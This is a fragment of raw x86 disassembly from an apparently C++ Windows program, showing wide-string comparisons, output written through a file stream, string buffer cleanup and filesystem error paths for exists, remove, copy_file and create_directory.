add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433da9
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov edx, dword [ebp - 0x51c]
mov eax, 0x6a8ebc
mov dword [ebp - 0x4d4], 0
mov dword [ebp - 0x4d0], 0xf
mov byte [ebp - 0x4e4], 0
nop
mov cl, byte [edx]
cmp cl, byte [eax]
jne 0x4332d0
test cl, cl
je 0x4332cc
mov cl, byte [edx + 1]
cmp cl, byte [eax + 1]
jne 0x4332d0
add edx, 2
add eax, 2
test cl, cl
jne 0x4332b0
xor eax, eax
jmp 0x4332d5
sbb eax, eax
or eax, 1
test eax, eax
mov dword [ebp - 0x2ec], 0
mov edx, str.FALSE
mov dword [ebp - 0x2e8], 0
mov eax, str.TRUE
xorps xmm0, xmm0
cmove edx, eax
mov ecx, edx
movups xmmword [ebp - 0x2fc], xmm0
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x433307
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x2fc]
call fcn.00423ce0
mov edx, dword [ebp - 0x4f4]
mov eax, 0x6a8ebc
mov byte [ebp - 4], 0x30
mov cl, byte [edx]
cmp cl, byte [eax]
jne 0x433352
test cl, cl
je 0x43334e
mov cl, byte [edx + 1]
cmp cl, byte [eax + 1]
jne 0x433352
add edx, 2
add eax, 2
test cl, cl
jne 0x433332
xor eax, eax
jmp 0x433357
sbb eax, eax
or eax, 1
test eax, eax
mov dword [ebp - 0x304], 0
mov edx, str.FALSE
mov dword [ebp - 0x300], 0
mov eax, str.TRUE
xorps xmm0, xmm0
cmove edx, eax
mov ecx, edx
movups xmmword [ebp - 0x314], xmm0
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x433390
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x314]
call fcn.00423ce0
mov byte [ebp - 4], 0x31
lea eax, [ebp - 0x3d4]
cmp dword [ebp - 0x3c0], 7
push dword [ebp - 0x3c4]
cmova eax, dword [ebp - 0x3d4]
push eax
lea eax, [ebp - 0x4a0]
push eax
call fcn.0046f650
add esp, 0xc
mov edx, 0x6a8f38
mov ecx, eax
call fcn.0045bc90
cmp dword [ebp - 0x2e8], 7
lea ecx, [ebp - 0x2fc]
push dword [ebp - 0x2ec]
cmova ecx, dword [ebp - 0x2fc]
push ecx
push eax
call fcn.0046f650
add esp, 0xc
mov edx, 0x6a8f38
mov ecx, eax
call fcn.0045bc90
cmp dword [ebp - 0x348], 7
lea ecx, [ebp - 0x35c]
push dword [ebp - 0x34c]
cmova ecx, dword [ebp - 0x35c]
push ecx
push eax
call fcn.0046f650
add esp, 0xc
mov edx, 0x6a8f38
mov ecx, eax
call fcn.0045bc90
cmp dword [ebp - 0x300], 7
lea ecx, [ebp - 0x314]
push dword [ebp - 0x304]
cmova ecx, dword [ebp - 0x314]
push ecx
push eax
call fcn.0046f650
add esp, 0xc
mov edx, 0x6a8f38
mov ecx, eax
call fcn.0045bc90
cmp dword [ebp - 0x378], 7
lea ecx, [ebp - 0x38c]
push dword [ebp - 0x37c]
cmova ecx, dword [ebp - 0x38c]
push ecx
push eax
call fcn.0046f650
add esp, 0xc
mov edx, 0x6a8f38
mov ecx, eax
call fcn.0045bc90
cmp dword [ebp - 0x3a8], 7
lea ecx, [ebp - 0x3bc]
push dword [ebp - 0x3ac]
cmova ecx, dword [ebp - 0x3bc]
push ecx
push eax
call fcn.0046f650
add esp, 0xc
mov edx, 0x6a8f38
mov ecx, eax
call fcn.0045bc90
cmp dword [ebp - 0x360], 7
lea ecx, [ebp - 0x374]
push dword [ebp - 0x364]
cmova ecx, dword [ebp - 0x374]
push ecx
push eax
call fcn.0046f650
add esp, 0xc
push eax
call fcn.00459300
add esp, 4
lea ecx, [ebp - 0x49c]
call fcn.0044b6c0
test eax, eax
jne 0x43353b
mov eax, dword [ebp - 0x4a0]
lea ecx, [ebp - 0x4a0]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00405010
mov byte [ebp - 4], 0x30
mov ecx, dword [ebp - 0x300]
cmp ecx, 7
jbe 0x43357f
mov edx, dword [ebp - 0x314]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x433575
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433dae
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x2e8]
mov dword [ebp - 0x304], 0
mov dword [ebp - 0x300], 7
mov word [ebp - 0x314], ax
cmp ecx, 7
jbe 0x4335e0
mov edx, dword [ebp - 0x2fc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4335d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433dae
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x360]
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x2e8], 7
mov word [ebp - 0x2fc], ax
cmp ecx, 7
jbe 0x433641
mov edx, dword [ebp - 0x374]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x433637
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433dae
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x378]
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x360], 7
mov word [ebp - 0x374], ax
cmp ecx, 7
jbe 0x4336a2
mov edx, dword [ebp - 0x38c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x433698
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433dae
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x348]
mov dword [ebp - 0x37c], 0
mov dword [ebp - 0x378], 7
mov word [ebp - 0x38c], ax
cmp ecx, 7
jbe 0x433703
mov edx, dword [ebp - 0x35c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4336f9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433dae
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x3a8]
mov dword [ebp - 0x34c], 0
mov dword [ebp - 0x348], 7
mov word [ebp - 0x35c], ax
cmp ecx, 7
jbe 0x433764
mov edx, dword [ebp - 0x3bc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43375a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433dae
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x3ac], 0
mov dword [ebp - 0x3a8], 7
mov word [ebp - 0x3bc], ax
cmp ecx, 7
jbe 0x4337c5
mov edx, dword [ebp - 0x3d4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4337bb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433dae
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov dword [ebp - 0x3c4], 0
mov word [ebp - 0x3d4], ax
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x3c0], 7
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x4a4], eax
lea ecx, [ebp - 0x49c]
call fcn.00440980
mov eax, dword [ebp - 0x4a0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x4a4], eax
lea eax, [ebp - 0x438]
mov byte [ebp - 4], 0x32
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0060dece
mov byte [ebp - 4], 0x18
add esp, 4
mov ecx, dword [ebp - 0x3d8]
cmp ecx, 7
jbe 0x43389c
mov edx, dword [ebp - 0x3ec]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x433892
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433dae
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x330]
mov dword [ebp - 0x3dc], 0
mov dword [ebp - 0x3d8], 7
mov word [ebp - 0x3ec], ax
cmp ecx, 7
jbe 0x4338fd
mov edx, dword [ebp - 0x344]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4338f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433dae
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x14
mov word [ebp - 0x344], ax
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0x334], 0
mov dword [ebp - 0x330], 7
cmp eax, 7
jbe 0x43395e
mov edx, dword [ebp - 0x4fc]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x433954
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433dae
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x25c]
cmp ecx, 7
jbe 0x4339a2
mov edx, dword [ebp - 0x270]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x433998
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433dae
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x25c], 7
mov word [ebp - 0x270], ax
cmp ecx, 0xf
jbe 0x433a33
mov edx, dword [ebp - 0x288]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4339f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433dae
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov dword [ebp - 4], 0xd
jmp 0x4325d0
mov edi, dword [ebp - 0x4ac]
mov dword [ebp - 4], 0xd
jmp 0x4325d0
push dword [ebp - 0x4a4]
call fcn.00567410
add esp, 4
push dword [ebp - 0x4a8]
call fcn.005634c0
add esp, 4
mov dword [ebp - 0x2e4], 0
lea edx, [ebp - 0x2e4]
mov dword [ebp - 0x2e0], 0x6d79c0
lea ecx, [ebp - 0x240]
call fcn.00409710
cmp dword [ebp - 0x2e4], 0
jne 0x433db3
test al, al
je 0x433ab3
cmp dword [ebp - 0x22c], 7
lea eax, [ebp - 0x240]
cmova eax, dword [ebp - 0x240]
push eax
call fcn.0060bb93
test edx, edx
jne 0x433dca
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x22c]
cmp ecx, 7
jbe 0x433af7
mov edx, dword [ebp - 0x240]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x433aed
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433ddb
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x2a4]
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 7
mov word [ebp - 0x240], ax
cmp ecx, 0xf
jbe 0x433b52
mov edx, dword [ebp - 0x2b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x433b48
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433ddb
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x244]
cmp ecx, 7
jbe 0x433b96
mov edx, dword [ebp - 0x258]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x433b8c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433de0
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x28c]
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 7
mov word [ebp - 0x258], ax
cmp ecx, 0xf
jbe 0x433bf1
mov edx, dword [ebp - 0x2a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x433be7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433de0
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov esi, dword [ebp - 0x4e8]
add esi, 0x18
jmp 0x431fcb
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x244]
cmp ecx, 7
jbe 0x433c43
mov edx, dword [ebp - 0x258]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x433c39
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433de0
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x28c]
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 7
mov word [ebp - 0x258], ax
cmp ecx, 0xf
jbe 0x433bf7
mov edx, dword [ebp - 0x2a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x433c94
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433de0
push ecx
push edx
call fcn.0061f90d
add esp, 8
add esi, 0x18
jmp 0x431fcb
lea ecx, [ebp - 0x2c4]
call fcn.00440cc0
mov ecx, dword [ebp - 0x318]
cmp ecx, 7
jbe 0x432585
mov edx, dword [ebp - 0x32c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43257b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43257b
call fcn.00636c1b
call fcn.00636c1b
lea eax, [ebp - 0x258]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x2cc]
call fcn.00408290
call fcn.00636c1b
lea eax, [ebp - 0x240]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x2d4]
call fcn.00408290
lea eax, [ebp - 0x240]
mov ecx, str.remove
push eax
call fcn.00408170
push eax
lea eax, [ebp - 0x258]
mov ecx, str.copy_file
push eax
call fcn.00408200
call fcn.00636c1b
lea eax, [ebp - 0x4cc]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x2dc]
call fcn.00408290
call fcn.00636c1b
lea eax, [ebp - 0x4cc]
mov ecx, str.create_directory
push eax
call fcn.00408170
call fcn.00636c1b
call fcn.0044f820
call fcn.00402f70
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
lea eax, [ebp - 0x240]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x2e4]
call fcn.00408290
lea eax, [ebp - 0x240]
mov ecx, str.remove
push eax
call fcn.00408170
call fcn.00636c1b
call fcn.00636c1b
int3